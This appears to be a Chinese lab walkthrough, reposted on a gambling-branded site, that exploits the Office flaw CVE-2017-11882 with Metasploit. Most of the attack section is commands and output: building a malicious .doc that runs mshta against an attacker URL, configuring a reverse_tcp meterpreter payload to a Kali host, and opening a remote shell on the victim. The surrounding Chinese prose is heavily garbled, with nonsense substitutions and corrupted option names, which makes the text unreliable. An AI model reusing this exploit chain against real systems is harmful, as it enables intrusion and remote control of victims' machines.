来自 澳门新葡亰官网 2019-11-06 09:27 的文章
当前位置: 澳门新葡亰app > 澳门新葡亰官网 > 正文

漏洞在 Msf下的应用

正未时候接到了推送的尾巴预先警示,在网络检索相关音信看来不菲大牌已经付出出生成doc文书档案的剧本和msf的poc,本文记录CVE-2017-11882 漏洞在 Msf下的应用。

 

0x00 漏洞简单介绍

二〇一七年三月二五日,微软发布了七月份的安全补丁更新,在那之中相比引人关怀的莫过于悄然修复了遮掩17年之久的Office远程代码试行漏洞(CVE-2017-11882卡塔 尔(阿拉伯语:قطر‎。该漏洞为Office内部存款和储蓄器破坏漏洞,影响当下流行的有所Office版本。攻击者能够使用漏洞以当下登入的客户的地点实践放肆命令。 由于漏洞影响面较广,漏洞表露后,金睛安全研讨团队持续对漏洞有关攻击事件实行关切。4月八日,监察和控制到了本来就有尾巴POC在英特网流传,随时急忙对相关样品实行了然析。近期该样品全世界仅微软杀毒能够检查测验。

  • 漏洞影响版本:
  • Office 365
  • Microsoft Office 2000
  • Microsoft Office 2003
  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2
  • Microsoft Office 2013 Service Pack 1
  • Microsoft Office 2016

 

 

 

0x01 利用工具清单:

a) tcp反弹:kali 172.16.253.76 

b) 安装office2013的系统:win7 172.16.253.4

 

  1. Msf 用到的 Poc

  2. office2012、激活工具

  3. win7旗舰版ISO镜像

上述工具已经打包好,下载地址:

链接:  密码:xl91

图片 1

 

0x02 利用进度

  1. 生成doc

    #安装运维nginx [root@ihoneysec ~]# yum -y install nginx [root@ihoneysec ~]# cd /usr/share/nginx/html/
    [root@ihoneysec html]# systemctl start nginx

    #下载生成doc的python脚本 [root@ihoneysec ~]# git clone [root@ihoneysec ~]# cd CVE-2017-11882/ [root@ihoneysec CVE-2017-11882]# ls Command109b_CVE-2017-11882.py Command43b_CVE-2017-11882.py example README.md

    #生成测量检验doc [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc [*] Done ! output file --> cve.doc [root@ihoneysec CVE-2017-11882]# cp cve.doc /usr/share/nginx/html/

    #生成msf利用的doc [root@ihoneysec CVE-2017-11882]# python Command43b_CVE-2017-11882.py -c "mshta " -o cve2.doc [*] Done ! output file --> cve2.doc [root@ihoneysec CVE-2017-11882]# cp cve2.doc /usr/share/nginx/html/

    #放到网址根目录 [root@ihoneysec CVE-2017-11882]# ls /usr/share/nginx/html/ 404.html 50x.html cve.doc cve2.doc index.html nginx-logo.png poweredby.png

  

  1. 测量检验不奇怪弹出calc.exe总括器

图片 2

 

  1. kali msf配置Poc:

    root@kali:~# cd / # 将下载好的错误疏失模块放在msf大肆目录下 root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ # 检查ip地址 root@kali:/mnt/hgfs/kalishare# ifconfig eth0: flags=4163 mtu 1500

         inet 172.16.253.76  netmask 255.255.0.0  broadcast 172.16.255.255
         inet6 fe80::20c:29ff:fef5:82af  prefixlen 64  scopeid 0x20<link>
         ether 00:0c:29:f5:82:af  txqueuelen 1000  (Ethernet)
         RX packets 3136  bytes 987402 (964.2 KiB)
         RX errors 0  dropped 0  overruns 0  frame 0
         TX packets 255  bytes 20912 (20.4 KiB)
         TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
    

    # 启动postgresql服务,打开msf root@kali:/mnt/hgfs/kalishare# service postgresql start
    root@kali:/mnt/hgfs/kalishare# msfconsole

    ...

        =[ metasploit v4.16.6-dev                          ]
    
    • -- --=[ 1683 exploits - 964 auxiliary - 297 post ]
    • -- --=[ 498 payloads - 40 encoders - 10 nops ]
    • -- --=[ Free Metasploit Pro trial: ] # 搜索cve_2017_11882 漏洞模块 msf > search cve_2017_11882

      Matching Modules

      Name Disclosure Date Rank Description


      exploit/windows/smb/cve_2017_11882 normal Microsoft Office Payload Delivery

      # 使用该模块 msf > use exploit/windows/smb/cve_2017_11882 # 设置payload为反弹tcp msf exploit(cve_2017_11882) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp # 设置本机ip msf exploit(cve_2017_11882) > set lhost 172.16.253.76 lhost => 172.16.253.76 # 设置uri的门路,要与第一步生成doc时安排风姿洒脱致 msf exploit(cve_2017_11882) > set UEvoqueIPATH abc UQashqaiIPATH => abc # 检查当前布署msf exploit(cve_2017_11882) > show options

      Module options (exploit/windows/smb/cve_2017_11882): Name Current Setting Required Description


      SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH abc no The URI to use for this exploit (default is random)

      Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description


      EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 172.16.253.76 yes The listen address LPORT 4444 yes The listen port

      ...

      # 运维利用后,msf会监听本机8080端口,假如win7机器展开doc触发访谈172.16.253.76:8080/abc就能够博得反弹到4444端口的tcp会话 msf exploit(cve_2017_11882) > exploit [] Exploit running as background job 0. # 最初监听 [] Started reverse TCP handler on 172.16.253.76:4444 msf exploit(cve_2017_11882) > [] Using URL: [] Local IP: [] Server started. [] Place the following DDE in an MS document: mshta.exe "" msf exploit(cve_2017_11882) > [] 172.16.253.4 cve_2017_11882 - Delivering payload [] Sending stage (179267 bytes) to 172.16.253.4 #收到反弹tcp连接 [] Meterpreter session 1 opened (172.16.253.76:4444 -> 172.16.253.4:49272) at 2017-11-23 15:14:06 +0800 [] 172.16.253.4 cve_2017_11882 - Delivering payload [] Sending stage (179267 bytes) to 172.16.253.4 [] Meterpreter session 2 opened (172.16.253.76:4444 -> 172.16.253.4:49274) at 2017-11-23 15:14:17 +0800

      msf exploit(cve_2017_11882) > msf exploit(cve_2017_11882) > msf exploit(cve_2017_11882) > sessions # 查看已经确立的反弹会话

      Active sessions

      Id Type Information Connection


      1 meterpreter x86/windows win7-PCwin7 @ WIN7-PC 172.16.253.76:4444 -> 172.16.253.4:49272 (172.16.253.4) # 进入id为1的会话 msf exploit(cve_2017_11882) > sessions -i 1 [*] Starting interaction with 1... # 验证拿到反弹连接是不是是win7机器ip meterpreter > ipconfig

      Interface 11

      Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:72:2e:7d MTU : 1500 IPv4 Address : 172.16.253.4 IPv4 Netmask : 255.255.0.0 IPv6 Address : fe80::c15d:3813:94ec:d6c8 IPv6 Netmask : ffff:ffff:ffff:ffff::

      ...... # 步向命令情势meterpreter > shell Process 2924 created. Channel 1 created. Microsoft Windows [�汾 6.1.7601] ��Ȩ���� (c) 二〇一〇 Microsoft Corporation����������Ȩ���� # 查看当前系统客户、主机名 C:Windowssystem32>net user net user

      WIN7-PC ���û��ʻ�


    Administrator Guest win7
    �����ɹ����ɡ�

C:Windowssystem32>

  

 

本文由澳门新葡亰app发布于澳门新葡亰官网,转载请注明出处:漏洞在 Msf下的应用

关键词: